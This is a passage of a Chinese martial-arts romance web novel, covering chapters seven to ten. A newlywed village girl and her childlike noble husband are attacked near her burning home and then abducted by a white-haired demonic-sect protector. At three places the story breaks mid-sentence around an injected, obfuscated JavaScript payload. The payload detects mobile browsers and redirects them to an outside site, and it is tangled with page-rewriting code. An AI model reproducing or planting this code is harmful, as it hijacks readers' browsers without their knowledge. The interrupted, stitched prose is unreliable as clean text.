不知怎的,她有种自己的心思都被对方看光了的错觉,只听到赵明予说:“父亲说了,为了让我早通人事,便不等到加冠再为我取字,那天府里来了个好厉害的方士,是孟伯伯带来的,不仅一下子就算准了娘子你的外貌,还和父亲一同为我取了字,叫作轼流。” 侯府世代监管武林盟,成亲前,侯府派来的教习嬷嬷不仅给叶慈介绍了侯府中的大小事务,也说了武林盟中的一些人物,免得她嫁过来后闹了笑话。这个孟临,就是当今武林盟主,与武安侯赵渊情同兄弟,自然与侯府也交往甚密。 “父亲说,亲近的人就可以称呼我的字,我和娘子一起睡觉,想必也是亲近的人,娘子以后也用字唤我吧。” “轼流……”叶慈的视线略过赵明予,看到他身后案上摆的一个红彤彤的物件,突然玩心大起,说,“不如以后私下里我就叫你小石榴,可好?” 赵明予像是愣了一下,顺着叶慈的目光看过去,看到案上正放着几个开口石榴,他脱口而出:“榴开百子,是多子多福的象征,那娘子,你喜欢小石榴吗?” 叶慈一时哽住了。 他鞋都没穿,噔噔噔跑下床又跑回来,手里拿了个石榴,剥开后问道:“娘子吃一口小石榴,好不好?” 赵明予心思单纯,没品到这几句话内里别的意思,叶慈却一下子就懂了。她的脸比赵明予手中的那颗石榴还要红,倒是没有拒绝——她怕赵明予追问为什么,只好就这赵明予的手,吃下了那粒剥下来的石榴籽。 ……还挺甜。 好在敲门声适时地响起,打破了屋内略有些旖旎的气氛,不然叶慈几乎要无地自容了。 进来的是昨天偷说叶慈坏话的侍女,那个叫芳语的,她大概是觉得叶慈将她留在身边是为了更好磋磨她,这会儿连大气也不敢喘,细声细气地说:“世子,夫人,该起床梳洗了,敬茶的时辰要到了。” 叶慈“腾”地弹开,恨不得立刻离赵明予十万八千里远。 “知道了,进来吧。”叶慈说道。 两个丫鬟依然低着头,不敢多看两人一眼,叶慈也没多解释——合该让这两人多惶恐几日,才能真长了这次的教训。 芳语和燕声手脚还算麻利,伺候着二人,不过片刻,便收拾妥当了。 叶慈不知道自己被套上了多少件衣裳,最外的一层是一件水蓝色的外衫,上面用金线绣着海棠样式的暗纹。她的头发也被完全束了起来,簪上了各种叶慈叫不出名字的繁复首饰,她捧着铜镜一照,只觉得自己此刻倒真有几分大户人家的妇人模样了。 赵明予尚未加冠,仍是束了马尾,穿着他最爱的金色衣裳,广袖临风,他的脸又实在是有几分姿色,只要他不说话,大略看过去,也算是有几分芝兰玉树的潇洒模样。 二人并肩走在侯府后院的小径上,外人看来,竟觉得很是般配。 步至圆堂门前,赵明予看到了一个熟悉的身影,激动地喊道:“仇嬷嬷!” 叶慈也抬眼看过去,只见一名体态庄严的老妇人站在门侧,应该是在等他们,她身上穿的衣服虽然是下人制式,料子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158838|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着却比普通下人的好不少,足见主子宠信。 叶慈记得昨晚赵明予提过她,好奇地望过去。 她冲赵明予笑了笑,拍了拍他的肩膀,很是慈爱的样子:“世子从今以后便长大成人了。” 她又叮嘱了几句,便看向叶慈,有几分探究,也有几分审视,叶慈总觉得,那不该是一个旧居内院的嬷嬷该有的眼神,竟看得她心中生出几分不自在来。 “我与你娘子说几句。”她拍拍赵明予的手,朝叶慈走过来。 仇嬷嬷向她行了个礼,说的话却不卑不亢:“叶姑娘,不知在侯府可还习惯?” 叶慈心说才一晚上,哪有什么习惯不习惯,但嘴上还是说:“习惯,侯府样样都好,劳嬷嬷费心。” 仇嬷嬷点点头:“公主早逝,我算是世子的教习嬷嬷,从小看着他长大,直到世子虽然心智有缺,但人却真诚善良。叶姑娘,我知道你出身乡野,应当也并非自愿加入侯府,只是,我希望你知道,不论你心中是对侯府,亦或侯爷有怨,这一切都与小世子无关。” 叶慈心中其实并无怨怼,尘世里,万般皆是命,半点不由人,她看得通透,只是此时,她即便心中有怨,也绝对不能承认,便自贬身价道:“怎么会,我生在乡野,长在乡野,能得侯爷青眼,入了这侯府,还是以正妻的身份,感恩戴德都来不及,怎会有怨?” 仇嬷嬷身量比叶慈稍矮,身姿却匀称挺拔,也并没有如中年妇女般发福。虽然按照规制,叶慈是主子,她是下人,叶慈却没有从她身上感受到半分低人一等的态度,被她看着的时候,有一种被看透内心所有秘密的错觉。 叶慈见她不着痕迹地将她上下打量一番,似乎在估量她说的是不是实话,半晌,才听她说道:“我说这些,只是想着,就算夫人与世子做不成真正的夫妻,能相互扶持,当个朋友也好。” 叶慈沉吟片刻,回答道:“好,嬷嬷,我答应你。” 仇嬷嬷冲她笑了笑,将叶慈的手交到赵明予手上:“那我便放心了。” 她侧侧身,这才准许二人前进:“请进吧。” 二人进了内堂,赵渊坐在上座,眉目慈祥,周身气质却不怒自威。 赵明予的母亲安宁公主虽然在他幼年时便离世了,但另一个座位并没有空着,而是放着一支金簪。 “那是母亲生前最喜欢的一支簪子。”赵明予在她耳边悄声解释道。 叶慈离得稍远,看不真切,但依稀能看出那支金簪的制式并非寻常款式,上面并未纹花刻鸟,簪头的形状像个剑柄,簪身尖而直,倒像是一柄长剑。 叶慈在心中暗暗称奇,觉得安宁公主生前定也不是个寻常人物。 赵渊似乎其实对叶慈“治病”的作用也并没有包太大希望,见赵明予成了婚后仍是原先那个模样,也并没有太失望,按照礼数受了二人的茶,便放他们回门去了。 叶慈和赵明予坐马车回到了碧渠村,村民们早知她今日回门,都在村口驿站等着,想看看慈丫头的姑爷长什么模样,也想讨点新婚的彩头。 叶慈纷纷应付过去,却没见到她最想念的那两个人。 “李婶,我二叔和小涟呢?”叶慈逮了个村民问道。 李媒婆环顾一圈,也没找着:“怪了,今早起来就没看着,按说你回门这么大的事儿,你二叔也不能不下山来接一接啊。” 正说着,突然听到人群一阵嘈杂。 “你们看,那是什么!” “好像着火了!” 叶慈顺着看过去,只见山上升起滚滚浓烟,浓烟下面则是点点不祥的火光。 叶慈心口突地一跳——山上着火的位置,正是她最熟悉的地方。 那是她日夜生活的地方。 那是她家! “师父!小涟!”她失声喊道,顾不得身上繁重的衣服首饰,抬脚向山上跑去! 8. 第八章 远处看去的熊熊火光在偌大的山林里不过是星星一点,奇怪的是,这山上到处都是草木,茅草屋的火势却被控制得很好,似乎并没有波及到其他的无辜林木。 叶慈想到这一层,心中又有些侥幸。 ……万一呢,万一有人恰巧上山瞧见了火势,帮着救火,顺便将人救了出来;又或者,这是二叔和小涟没注意燃起来的火,此刻他们或许也正在慌张地救火,所以才没下山接她回门也说不定。 她这样想着,心下稍稳,但脚底下的步伐却一点儿也不慢。 丫鬟小厮留在了山下没跟上来,赵明予却亦步亦趋地一直跟着叶慈。 “娘子莫急!我先替你上去看看!”赵明予喊道,立刻飞身上前,跑在了她的前面。 叶慈差点忘了,武安侯小世子虽然心智有缺,但是自小也是被武安侯当继承人培养出来的。大允尚武,武安侯又与武林盟有千丝万缕的联系,不可能不自小传授赵明予武功的。 只见他提气一跃,脚下踏着叶慈看不懂的步子,衣袂翻转腾飞,顷刻间便跃出几丈远。 叶慈此刻心急如焚,心下只有一个念头,那就是快些、再快些,于是她几乎忘记所有外物,顾不得什么武安侯府的武功外不外传、身上的首饰是否繁重这一类琐事,紧紧盯着赵明予脚下的步伐。 在那一刻,原本快得几乎有些诡谲的步子在叶慈眼中突然慢了下来,她有样学样,笨拙地模仿起来,起初几步险些自己把自己绊倒,可越到后面却越发流畅,不过几息的时间,她便几乎复刻了所有的步伐,提气追上了赵明予! 赵明予似乎颇有些惊讶,但也并没有藏着掖着的意思:“娘子,你学得好快!这蝉步,父亲教我的时候我可是学了两个月呢!” 蝉步,叶慈听着耳熟,她想起来,从前碧渠村中来过些武林人士,她似乎曾从那些人口中听过这种轻功,好像是某位大侠的独门功法,必要时还可犹如蝉蜕一般留下替身,是用来逃跑的不二之选。 那时叶慈还想,什么大侠会不好好练武功,专门发明这种用来逃跑的轻功,没想到如今自己便用上了这套功法。 她正专注倒腾脚下步伐,却忽然听到耳畔破空之声传来,她下意识地侧头,才勉勉强强躲过。 叶慈停下脚步,看到一根箭簇此刻正牢牢插在她身旁那棵大树的树干上,尾翼仍在不住颤动,可见发箭人力气之大。 若是刚才她没躲过这支箭,现在大概已经是一具尸体了。 叶慈侧头向箭簇发来的方向看去,没有人,却能看到远处隐约有一黑影正躲在重重树影之后,似乎并没有继续攻击的意思。 赵明予听到声音,立刻飞身返回,护在叶慈身前。 叶慈心中竟然奇异地静了下来,她看着那抹暗处的身影,大喊道:“前辈为何不现身?” 同样的情景,上一次她没出息地晕倒了,但是这一次,那个抚养她长大的人不在身旁,无人可以让她依靠,即使再害怕,她也必须挺起胸膛。 林叶窸窣,对方没有答话,那隐匿在树影后的黑影甚至连一动都不动,如果是从前的叶慈,或许会以为那是一座雕像,但此刻,烧焦的气味逐渐蔓延整座山林,她不得不面对着那个她不愿细想的可能性,大脑却是前所未有的清醒。 这人和上次那伙假扮山贼的人应当不是一路的,虽然目的不明,但是与“山贼”不同,这人似乎并不想真的伤害他们,出手只是为了警示,否则就凭叶慈连“功夫”都称不上的身手,是绝对躲不过刚才那一箭的。 而暗处这人的身手,在叶慈的认知中,绝对到了传说中的“江湖大侠”的级别,这人或许已经跟了他们许久了,但他们二人没有一个人察觉到,甚至这提示般的一箭,也在“伤人性命”和“警示”之间恰到好处,没有伤到叶慈分毫,却让人不得不警惕,不得不畏惧。 叶慈这样想着,试探般地换了个方向,迈出一步。 果不其然,预料中的箭簇破空而至,不偏不倚刚好钉在叶慈脚尖前一厘。 接着,“铮”的一声,又一枚箭簇被钉在叶慈身后的树干上,那棵树枝繁叶茂,树冠却因为长时间的光照不均匀而倾斜向了一侧,正是下山的方向,不知道为什么叶慈似乎理解了那人想说的话—— 下山去。 这是一支指路的箭。 但那人越是这样,叶慈越是想知道他究竟为什么千方百计地阻挠他们上去查看火势。 是怕他们遇到危险,还是害怕他们上去后,在茅草屋里发现什么不该发现的东西? “前辈,若有话想说,何不出来一见,为什么要用这种鬼鬼祟祟的方式?” 叶慈试图激怒他,对方也并不上套,依旧不动如山。 她没了办法,只剩下最后一招。 “小石榴。”她悄悄戳戳赵明予的后腰,“一会儿我喊一二三,你就往我们来的方向跑,下山去找救兵,听到没有。” “那你呢?”叶慈觉得赵明予似乎明白此刻的危急情况又好像并不明白,依然睁着水灵灵的大眼瞧她。 “这人不会把我们都放走的。”她信口胡诌,“我不会武功,他也没有要伤害我的意思,我留在这吸引他的注意力,不会怎样。” 赵明予似懂非懂地点点头,煞有介事道:“好,娘子,那我走了,你一定要保全自己,我可不想年纪轻轻就当鳏夫啊!” 叶慈失笑:“你这是从哪个戏本子里学的。” 说罢,轻轻推了他一把:“一,二,三!” 她话音刚落,赵明予果然如离弦之箭,向山下飞身而去,叶慈也作势重整步伐,继续上山。 然而她刚腾身而上,却感到自己的后心被硬物击中,接着便失去平衡,向另一侧摔去。 身后的赵明予也是一样的情况,他“哎哟”一声,大喊道:“前辈,你怎么用石头打人啊!” 他话音刚落,便又吃痛地叫了好几声,像是被击中了很多下,叶慈突然觉得,这人怕不是和赵明予有私仇吧? 她这样想着,脚下下意识想找个落脚点,却踩了个空—— 下面是个陡坡! 叶慈毕竟刚学会蝉步,方才又走了神,竟然一时失足从坡上摔了下去! 她下意识想抓住什么东西,赵明予便一齐摔了下来,正好撞在她手里。 “娘子,你别抓我腰带!哎哟,怎么又打我!”赵明予虽然这样喊着,但是身体还是将叶慈圈在了怀里。 这陡坡上山石甚多,平素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158839|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人迹罕至,连野草也割人,叶慈听到赵明予闷哼几下,便没了声响。 她自己背上不知砸到了什么石头上,一阵剧痛袭来,眼前一黑,但是这巨石也为二人施加了一个阻力,让他们在落地之前便减缓了下落的速度,否则摔断几根骨头都是小事。 赵明予好似已经完全失去了意识,死死地压在她身上。叶慈小幅度地挣扎几下,却最终也敌不过强烈的眩晕感,晕了过去。 失去意识之前,她似乎模模糊糊地看到两个身影飞身停在他们二人身前,用不大不小的声音交谈着。 “山鬼,你做的也太过了。” “原本不想这样,只是她若上去看到……此后定要追查,我知道这丫头的性子。” “是啊,其实原本等到烧干净就行了,谁知道这丫头竟然学会了蝉步,这天赋,还真是随了……” “行了。不过没想到侯府这小子还算有点良心,倒是不像他那个狼心狗肺的爹。” …… “娘子,娘子!” 叶慈感觉什么人正抓着她的肩膀使劲晃动,她想睁开眼,却使不上力气。 “娘子!”那人晃得更厉害了,叶慈感到一阵恶心。 “别晃了……”她忍着呕吐的欲望,气若游丝地说。 “娘子!你终于行了。”赵明予明黄色的外袍上沾满了泥土,一向白净的脸上也黑一块白一块的,脸颊上似乎还有泪痕。 他见叶慈行了,一把将人抱紧怀里:“我还以为你死了……” 说着,便又哭了起来。 叶慈被他抱得喘不过气,用手轻轻拍了拍他的背示意他先放开自己,却听到他倒吸一口凉气。 叶慈看向自己的手,发现自己的手上全是血迹,但她并没有感觉到丝毫疼痛,这是谁的血已经不言而喻。 “你受伤了!”叶慈连忙推开他,用手撑着身体坐起来。 赵明予背后的衣服几乎全烂了,没有一块好布,裸|露的皮肤也全都血肉模糊。 “娘子,我不疼。” 这伤若不及时处理只怕会更严重,叶慈试着用手帮他将已经与糜烂的血肉黏在一起的烂布挪开,却听到一阵抽气声。 “这叫不疼?”叶慈又心疼又愧疚,她清楚地记得滚下山坡时是赵明予抱住了她,自己才不至于受太重的伤。 “你这伤要快些治,要是感染了就麻烦了。”叶慈说着,环顾四周,却发现这附近的环境她几乎从未见过。 “糟了。”她小声喃喃。 她记得这个山坡,从前小时候,乔二怕她在山上疯玩时会不小心掉下去,便吓唬她说这下面有老虎,于是叶慈一次都没下来过。后来长大了,她一心只想下山玩,便忘了还有这一处地方的存在。 也就是说,虽然她在山上生活近十载,却也从未涉足过此地。 她抬眼看看二人失足滚下来的地方,上面山石嶙峋,凭叶慈的身手是绝对不可能爬上去的,而赵明予如今伤着,腿脚虽然还好着,但若想爬上这山坡,也不能不说是天方夜谭。 叶慈看看即将西沉的太阳,说:“我们还是先找个地方歇息为好。” 赵明予赞同地点点头,朝不远处一指:“娘子,那里有个山洞。” 9. 第九章 二人互相搀扶着,缓慢地挪动到了山洞中。 山洞中杂草丛生,不像是有动物活动过的痕迹,于是叶慈便安心地将赵明予安置在了这里。 这附近应该有条河,叶慈记得她从前从山上往下看的时候曾经看到过。 “你的伤口需要清理,我去找找有没有水。”叶慈说,她想了想,掀开裙子,干净利落地从干净的里衣上撕下一块布。 赵明予的目光原本一直追随着她,此刻却像是被烫了一下似的,慌忙看向了别处。 叶慈却恍然未觉,她交代道:“你在这别乱跑,我马上就回来。” 赵明予乖巧地点点头,“嗯”了一声,目光一直追随着叶慈远去。 直到走在去打水的路上,叶慈紧绷的神经才稍有些舒缓,她开始思考今天发生的事情。 山上茅屋处的火光已歇,山上的野兽时不时惊飞一群鸟雀,这景象叶慈看过千万遍。 山上很平静,就好像什么都没发生过。 那场火起得诡异,明明来势汹汹,却只烧了茅屋,没烧到其他地方,就像是人为干预的。 不知怎么的,叶慈总觉得,乔二和祁涟应该还活着。 她用干净的溪水浸湿了从她里衣上撕下来的碎布,又捡了些干树枝,等回到山洞的时候,天已经全黑了。 她担心赵明予一个人会不会遭遇什么危险,那样金尊玉贵的一个小少爷,要真出了什么意外,她可赔不起。 她这样想着,离山洞越来越近,却隐约看到了点点亮光。 她起初以为是有人在那儿生了火,可仔细看去,却发现那亮光星星点点的,不像火光。 那是萤火。 莹黄色的光亮明明灭灭,如同星子落入人间。 不知怎么的,那些萤火虫聚在洞口,像是在为赵明予照明一般。 叶慈情不自禁地停在原地,有些不忍心打扰这副景象。 萤火虫是亮的,赵明予的眸子也是亮的,在一片莹莹中,他竟真像个拿金子做的人。 一只小虫或许是把他当成了石头,大胆地落在了他的鼻头上,他像是怕动作太重会将这小东西惊飞,但又实在好奇,便伸出食指去,想要触碰那只发着光的小虫。 然而不等他触碰到那只萤火虫,却先忍不住打了个喷嚏。 点点星火霎那间四散而逃,赵明予还想阻止,“诶”了一声向外看去,刚好看到了立在洞外的叶慈。 他颇为不好意思地挠挠头:“娘子。” 叶慈“嗯”了一声,这才迈步走了进去。 好在她从前就生活在山里,虽然没有过露宿荒郊野岭的经历,但是生火还是会的。 赵明予是金尊玉贵的小少爷,在这派不上什么用场,而叶慈却如野草,生生不息,在哪都能活。 生好火后,叶慈亮亮手中打湿的布条,说:“把衣服脱了,我替你清理伤口。” “娘子,这不好吧……”赵明予却突然忸怩起来,“荒郊野岭,孤男寡女的……” 叶慈又重复一遍,命令道:“脱衣服!” 赵明予好像愣了一瞬:“没想到娘子这么霸道……” 叶慈面色微微一窘,轻咳一声:“好啦,快把上衣脱了,你的伤口需要赶快处理才行。” 赵明予定定地看了叶慈半晌,才终于转过身去,脱掉了上衣。 他背上蜿蜒数道血痕,到处都是淤青和擦伤,叶慈看着那些狰狞的伤口,一时竟然不知道该如何下手。 那样快的滚落,以血肉之躯撞上嶙峋山石,不知道该有多疼,赵明予虽然是孩童心智,竟然也能忍下来。 叶慈捏着湿布,又轻又缓地替他清理伤口上沾上的碎石砂砾。 “疼吗?”她忍不住轻声问。 “能护着娘子,我不疼。” 叶慈的嘴角挂上清浅笑意,赵明予恰好回头,一时竟看呆了。 叶慈被他看得羞赧,轻嗔一句:“转过头去。” 赵明予便又木头人一般将头转了过去,叶慈这才能集中心思替他清理伤口。 虽说叶慈与乔二和祁涟同吃同住,但这两人似乎比她更在乎男女大防,从小便换衣沐浴什么的都避着她,这还是她第一次如此仔细地观察一个男人的肉|体。 与只有十三岁的心智不同,赵明予的身体已经是实打实的十九岁了,他平时应当勤于练武,背上肌肉结实健美,饶是知道现在不是想这些的时候,叶慈仍是忍不住有些脸热。 她在心中暗骂自己没正形,努力将注意力集中在手中的事情上。 终于心猿意马地替他清理完伤口,叶慈想站起来,却被赵明予扯住了衣角。 “娘子,我冷……” 叶慈解开自己的外袍,小心地避开伤口,披在了他的身上。 “娘子,你不冷吗?”赵明予问。 “我自小体质好,从没生过病。” 赵明予:“……” “娘子……” “又怎么了?”叶慈觉得自己这辈子的耐心都用在这位玻璃做的小夫君身上了。 “你……你靠过来些。” 叶慈挨着他的肩膀坐下,却不想她刚坐下,赵明予就一把抓住她的手,揣到了自己怀里。 “这样就不怕娘子着凉了。” 他抿着笑意看过来,内眼角的小痣平添了一丝暧昧,前尖后翘的眼睛笑起来像月牙儿一样,温柔又多情,竟看得叶慈莫名羞赧了起来。 “嗯。”她轻声说,“睡吧。” 夏夜的晚风是有些凉,赵明予怀里带着经年药香,竟然很暖,叶慈闻着只觉得安心,暂时忘却了不安与烦恼,沉沉睡去了。 —— 与岁月静好的二人不同,武安侯府内已经乱成了一锅粥。 芳语燕声和赵明予的小厮单义带回来了叶慈家里着火和两人失踪的消息,武安侯听后大怒,狠狠责罚了三人,又派了一队护卫进山去找,无果。 如果叶慈在的话就会发现,那三枚箭簇已经被人拔除,只有书上的小洞昭示着它们曾经存在的痕迹,只是那箭簇似乎是特制的,箭头细而小,留下的痕迹也很不显眼,如果不细看根本就发现不了,因此许多侯府护卫虽然匆匆路过,却并没有发现半点痕迹。 “真是一群废物,和你们的主子一样。” “谁?”其中一名护卫听到,忙四处张望,却没看到半个人影。 暗处黑影如同鬼魅一般一闪而过,只留下一根雪白的银发悠然飘落下来。 武林盟中,盟主书房内,灯火通明。 隔壁侯府世子失踪的消息传来,孟临也派了人去帮忙,但关上书房门后,他脸上焦急的神情便倏地消失。 “确定是‘山鬼’吗?”他自言自语般问道。 “是。”书房暗处的角落里,一个影子默默地立在那里,若是不出声,甚至没人会发现他的存在。 “上次派去试探的人全被杀了,这次的人还没到,火就烧起来了,灭了以后没找到人,但找到了这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158840|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他将一枚箭簇放到书案上,又退回了暗处。 孟临看着那枚细尖头的箭簇,眼神幽暗。 “继续找,但是别惊动武安侯。” “是。” —— 叶慈再醒来的时候,发现自己的外袍被披在身上,但是赵明予已经不在身边,她喊了几声,也没人应,便匆忙出山洞去找。 好在赵明予受了伤走不远,她找到赵明予的时候,赵明予正使劲踮着脚去够树上的什么东西。 叶慈走过去,问:“这是什么?” 赵明予听到声音,回过头来:“娘子你醒啦?这是榆钱,可以吃的。” 他将破烂的外袍当作兜子,不知道摘了多久,已经摘了不少。 叶慈随手拿起一枚来,觉得有些眼熟:“我二叔从前经常给我们吃这个,原来叫榆钱,我以前以为这只是普通野菜。” 赵明予摇摇头:“这东西还能入药呢,能静心安神。” 叶慈似懂非懂地点点头:“我来帮你一起。” “两个小朋友倒是琴瑟和鸣嘛。”一道又低又柔的声音炸雷般在不远处响起。 叶慈吓了一跳,山猫一般弓起背,随手捡起一根树枝横在胸前。 “什么人!”赵明予也警惕地看向声音传来的方向,只见一个雪白的身影渐渐从暗处走了出来。 那人一身白衣,头发也全白了,但似乎被人精心爱护,此刻并不束发,只是随意地披在肩上,也并不杂乱,反而有些风韵。 他轻笑一声,接着不知脚下使了什么步子,鬼影似的,半息之间便倏地近了。 他低头端详叶慈片刻,直看得她发毛,突然说:“长得倒是漂亮,就是不像。” “不像什么?”叶慈下意识地接话问道。 白发人却但笑不语,不再看叶慈了。 叶慈连反应都来不及反应,便感觉身子一轻。 ——那人竟然扛起她就跑。 “你要对我娘子做什么!”赵明予在原地无能狂怒。 “小公子,不如你来追我,追上我,就把你的好娘子还给你。” “追就追!”赵明予提腿便追了过来,但是不知道这人使的究竟是哪门轻功,竟比赵明予使的蝉步还更加灵巧,也更诡谲,明明没感受到他脚下动作,却发现他已比原来的位置飞出了一大截去。 叶慈心中暗暗惊叹,却也摸不透这人的路数和目的,只好弱弱地问:“美女姐姐,你这是要带我去哪?” 叶慈话音刚落便觉得一阵天旋地转,那人由扛着变为了将她一直手提着,挑眉道:“美女?姐姐?” 这人方才应该是特意捏着嗓子说话,这会儿恢复正常,嗓音听着甚至有几分低沉,叶慈往上看去,才看到他衣领上方的喉结。 “前辈莫怪!只是前辈容貌昳丽,我这才一不小心看错了!”叶慈嘴上虽然恭维他,心里却默默地给他起了个外号,“白发魔男”。 白发魔男好像对别人对他外貌的夸赞很是受用,满意地勾勾嘴角,甚至有空停下调整了下姿势,像是觉得费力一样,他又将叶慈由提着改为用胳膊夹在腰侧,才继续飞身而去。 而与他的从容不同,赵明予不知是因为受伤还是怎的,竟然用尽全力也追不上他,眼见着他挟持着叶慈越飞越远,破口大骂道:“你……你这妖人,怎么为老不尊!” 白发魔男的动作猛地一顿,他在一处险之又险的山壁处停下,回头看向赵明予,语气危险:“你说谁老?” 10. 第十章 赵明予像是也没料到这人会因为“老”这个字突然生气,一时摸不着头脑,也在原地停了下来,怯怯地道:“你……你头发都白了,还不老?” 叶慈觉得白发魔男周身的气压好像一下子低了,她使劲儿朝赵明予使眼色,但奈何距离实在太远,她就算把眼挤抽筋了也没用。 白发魔男将叶慈放了下来,山壁陡峭,叶慈站在一块突出来的乱石上,小心地用手扶住山壁,便一动也不敢动了。 她往下看了一眼便收回了目光,如果她从这里失足掉下去,大概会摔成一滩肉泥吧。 “丫头,站稳了。”男人在她身边沉声说。 山风浩荡,扬起他柔顺的白发,露出过分精致的侧脸,叶慈一时竟没忍住看呆了。 要说叶慈不小心将他认成了女人,其实一点儿也不冤枉,要怪只能怪这人实在长得太好看了。 细长眉,丹凤眼,薄唇如锋,鼻若悬胆,下巴微尖,虽然瘦,脸型却不崎岖,反而非常流畅,是个不折不扣的美人。 他似乎敷了粉,略上了妆,叶慈看着他,想起了一个人—— 祁涟。 他也是这样珍爱自己的容貌。 叶慈想着,心里又沉了下去,也不知那二人到底怎么样了,要是能快些从山里出去打听打听消息就好了。 这白发魔男却不知道叶慈这些弯弯绕绕的心思,他随便从山壁上伸出来的枯树上折下来一截枯枝,右脚轻轻一踏,便飞身出去,以枝作剑,直指赵明予的心口。 身旁突然少了个人,那人又突然向赵明予发难,叶慈一时心急,一个没站稳,竟然脚下一滑,从那石头上掉了下去! 好在山壁上长着许多旁逸斜出的枝子,被求生本能驱使着,叶慈眼疾手快抓住一根,就这么悬在了半空。 赵明予见了心里更加着急,一个侧身躲过,便要飞身去就叶慈,却一个不备被白发男人击中了膝盖,他当即膝下一软,单膝跪了下去。 那白发人却还不收手,又几击点在赵明予的前腰后心。 他背上的伤原本就没好,先前强运轻功已经让好容易止血的伤口又重新裂开了,而那白发人的一击看似轻飘飘,不知怎么的,竟好像伤了他的内里。 赵明予内息一乱,突觉喉头腥甜,竟生生呕出一口血来! 叶慈见了大骇,手臂连忙使劲,但她昨日本也撞到了脑袋,虽然伤得不如赵明予严重,但饿了一天,此刻猛地用力,手臂竟然蓦地一麻,眼见就要脱力松手,白发人却突然一个闪身折了回来,立在原来那块山石上,一伸手,重新将她拉了上来。 “丫头,怎么就这么一会儿都撑不住。” 他说话的语气像个长辈,长得却很年轻,叶慈一时拿不准他的辈分,便省了前缀,回嘴道:“我这是没吃饭,要是吃了饭,再撑十个时辰也不成问题。” 她说完才心下大惊,惊的是这人竟有这样一种不知从何而来的亲和力,让方才对他防备重重的自己转眼间便可以对他放下防备,甚至出言不逊。 那人听了她的话,忍不住勾起嘴角笑了一下,他生得美极,平常定是极爱护自己这张脸,上面竟一丝皱纹也没有,叶慈便被勾得魔怔了似的,忍不住问:“前辈,您到底是何许人?” 白发魔男深深地看了叶慈一眼,只留下一句话便扬长而去—— “缁带教护法,祁昼。” 缁带教的名号,叶慈即便常年身处深山老林也有所耳闻,这是本朝最大的魔教,说是“魔教”,其实这大逆不道的名头也是他们自封的。 据说缁带教的教主从前乃是一名大允朝最普通不过的书生,因多次科举榜上无名而发了疯,转投了邪门歪道,从此不念四书、不听五经,放任自流,随心而活,再不受世间礼法约束。 这教主虽然弃文从武,但是多年来穿衣的习惯却从没变过,仍循着从前当书生时的习惯,身上常配一条黑色腰带,其追随者便尽皆效仿,后逐渐壮大成为缁带教。 至于祁昼,叶慈急得村里的说书人说过,这人从前似乎也是个正派武林人士,只是后来不知什么原因也转投了魔教,自称“游戏三昧,全性保真,不以物累形”,从此便神出鬼没,不知所踪。 只是这人在缁带教中有一点特别,那就是他从不配黑色腰带,而且姿容昳丽,美得雌雄莫辨,喜欢涂脂抹粉打扮自己,在人均土鳖的缁带教里是个异类,很受江湖上女侠们的欢迎。 叶慈还记得她那回听完书,回去给祁涟讲时还说:“你俩都姓祁,而且还都这么爱打扮,怕不是有什么亲戚关系吧?” 祁涟是如何回答的,叶慈已经记不清了,反正答案应当是否定的,她最深的潜意识里觉得,小涟是绝不可能与这位大人物扯上关系的。 现在想来,祁昼还真是来去如风,做事全凭性子,毫无道理可言,否则也不会突然出现把她劫走,打伤赵明予后又将她和留在这处悬崖峭壁上了。 疯子。叶慈在心中暗暗评价祁昼。 “娘子……”赵明予细若蚊咛的一声呼喊终于将叶慈的思绪唤了回来,他张嘴又呕出一口血来。 叶慈一见,忙道:“别急,我马上来救你!” 但她环顾四周,哪还有过去的路,她又不能像祁昼赵明予似的飞檐走壁。 赵明予好似忍着难受,再次喊道:“气凝丹田,凭虚御风——” 叶慈听了一愣,在心中跟着默念了一遍,试着将全身力气凝结到丹田一点,便觉得周身似乎轻快了许多。 她足尖一点,竟觉得连山中清风都成了自己的助力,一下跃出一丈远! 于是她连忙接续上蝉步的步伐,御气而起,只觉得自身轻似飞鸟一般,世间再无束缚! 她跃过石壁,落到赵明予身边,轻轻将他扶了起来,只觉得他呼吸乱得不像话,心中顿感不妙,忙将他架起来,飞身跃下了山壁。 等终于到了平地上,叶慈一颗悬着的心稍稍放下,才听到赵明予此刻疼得直抽气。 从山坡上滚下来时伤得背上没一块好肉,叶慈也没听他多吭几声,可想而知赵明予现在有多难受。 叶慈不知道的是,祁昼是铁了心要给赵明予点教训,那一树枝正点在要紧的穴位上,加上赵明予那时担心她,便一下乱了气息,此刻身体里真气乱窜,自然是极不好受。 他若不是在叶慈面前逞面子,现在估计连走路喘气都困难。 叶慈环顾四周,发现方才两人不知道你追我赶地跑了多远,四周的景色已然是完全陌生的了。 